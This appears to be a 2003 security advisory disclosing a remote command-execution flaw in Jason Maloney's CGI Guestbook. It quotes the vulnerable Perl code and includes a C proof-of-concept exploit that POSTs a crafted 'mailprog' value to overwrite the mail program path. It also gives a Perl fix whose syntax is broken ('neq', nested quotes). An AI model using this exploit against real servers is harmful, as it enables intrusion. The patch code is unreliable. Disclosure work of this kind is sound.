####################################################################### -= Application =- : Jason Maloney's CGI Guestbook. http://www.aestheticsurgerycenter.com/scripts/guestbook/ -= Versions =- : 3.0 / ALL -= Risk factor =- : High -= Impact =- : Attackers could execute commands remotely. -= Vendor status =- : Vendor notified -= Date =- : 01 December, 2003 -= Credit =- : Shaun Colley / shaun2k2 ####################################################################### 1) Introduction 2) The vulnerability 3) The exploit 4) The fix 5) Credit ####################################################################### -=-=-=-=-=-=-=-=- 1) Introduction -=-=-=-=-=-=-=-=- Jason Maloney's Guestbook is a simple and popular CGI guestbook script, available from <http://www.aestheticsurgerycenter.com/scripts/>. There exists a vulnerability in the guestbook script in the way that POSTed data is handled which may allow an attacker to execute commands remotely. -=-=-=-=-=-=-=-=-=-=- 2) The vulnerability -=-=-=-=-=-=-=-=-=-=- The vulnerability occurs in the small routine which reads in and handles (converts from hex etc...) the information posted by the end-user when posting messages to the guestbook. The routine assigns values to all variable names accordingly as specified in the HTTP POST request (guestbook posts are POSTed). Here is the error-prone code: ###################### CUT HERE ###################### ############################################################ #Don't touch, these are necessary to run the script! $mailprog = '/usr/lib/sendmail'; $entry = 1; $allow = 1; $date_command = "/usr/bin/date"; ############################################################ $date = `$date_command +"%B %d, %Y"`; chop($date); read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'}); @pairs = split(/&/, $buffer); foreach $pair (@pairs) { ($name, $value) = split(/=/, $pair); $value =~ tr/+/ /; $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; $value =~ s/<!--(.|\n)*-->//g; if ($allow != 1) { $value =~ s/<([^>]|\n)*>//g; } $FORM{$name} = $value; } ###################### CUT HERE ###################### The above code trustingly reads in data from the user's HTTP POST request (their submission of a guestbook post), assigning all values to variables specified in the POST request. Due to bad user input checking, the user could easily change the value of a variable holding the path of a program to be opened as a pipe, such as $mailprog. $mailprog holds the path of the sendmail application, and could be changed to an arbitrary program depending upon the attacker's desire. The routine very loosely checks for a few metacharacters (such as | and *), but in general performs a weak attempt to sanitize data. Whilst changing a preset variable (such as $mailprog) to an arbitrary command, an attacker could insert an unnlocked metacharacter, such as ';', into $mailprog (or even $date_command) to execute multiple commands at a time. -=-=-=-=-=-=-=- 3) The exploit -=-=-=-=-=-=-=- ###################### CUT HERE ###################### /* Jason Maloney's Guestbook CGI vulnerability PoF. * * Discovered and written by shaun2k2 - shaunige@yahoo.co.uk. * * A few things in the HTTP headers WILL need to be changed appropriately to custom values for this exploit to WORK. * * Greets to: rider, maveric, sw0rdf1sh, liquidfish, pc_the_great, peter, rizzo, theclone, msViolet, Kankraka, deadprez, hades, the p0pe, port9, Dr Frankenstein, and whitedwarf. * */ #include <stdio.h> #include <stdlib.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netdb.h> #define PORT 80 int main(int argc, char *argv[]) { if(argc < 2) { printf("Jason Maloney's CGI Guestbook Exploit.\n"); printf("Discovered and written by shaun2k2 - shaunige@yahoo.co.uk\n"); printf("\nUsage: %s <host>\n", argv[0]); exit(-1); } int sock; printf("- Preparing exploit buffer.\n"); char http_request[] = "POST /guestbook/guest.cgi HTTP/1.1" "Host: localhost" "User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.2) Gecko/20021205" "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1" "Accept-Language: en-us,en;q=0.5" "Accept-Encoding: gzip,deflate" "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7" "Keep-Alive: 300" "Connection: keep-alive" "Referer: http://localhost/guestbook/add.html" "Content-Type: application/x-www-form-urlencoded" "Content-Length: 111" "name=dgf&email=shaunige@yahoo.co.uk&url=http%3A%2F%2Fdfg&city=dfg&state=dfg&country=USA&comments=dfg&mailprog=evilprog&x=15&y=20"; struct sockaddr_in dest; struct hostent *he; if((he = gethostbyname(argv[1])) == NULL) { printf("Couldn't resolve hostname!\n"); exit(-1); } if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("socket()"); exit(-1); } dest.sin_family = AF_INET; dest.sin_addr = *((struct in_addr *)he->h_addr); dest.sin_port = htons(PORT); printf("[!] Connecting.\n"); if(connect(sock, (struct sockaddr *)&dest, sizeof(struct sockaddr)) == -1) { perror("connect()"); exit(-1); } printf("[+] Connected!\n"); printf("[*] Sending exploit buffer.\n"); send(sock, http_request, strlen(http_request), 0); sleep(1); printf("[*] Exploit buffer sent!\n"); sleep(1); close(sock); printf("[!] Disconnected.\n"); return(0); } ###################### CUT HERE ###################### -=-=-=-=-=- 4) The fix -=-=-=-=-=- The vendor, Jason Maloney, has been notified, but asked me to write a fix if I wanted to. To patch the problem, just insert the following code snippet into the guest.cgi script just after "$FORM{$name} = $value; }" ###################### CUT HERE ###################### # # Jason Maloney's CGI Guestbook fix written by shaun2k2. # if($mailprog neq "/usr/lib/sendmail") { $mailprog = "/usr/lib/sendmail"; } if($date_command neq "/usr/bin/date") { $date_command = "/usr/bin/date"; } if($date neq "`$date_command +"%B %d, %Y"`") { $date = `$date_command +"%B %d, %Y"`; chop($date); } ###################### CUT HERE ###################### Details: The above snippet will cause the guestbook to check the values of the more important variables after user input, and if they differ from the original value, they will be changed back. Other means of fixing the problem do exist, but this is the quickest and easiest patch possible. 5) Credit This vulnerability was discovered by Shaun Colley / shaun2k2 - <shaunige@yahoo.co.uk>. ####################################################################### Thank you for your time. Shaun. ________________________________________________________________________ Download Yahoo! Messenger now for a chance to win Live At Knebworth DVDs http://www.yahoo.co.uk/robbiewilliams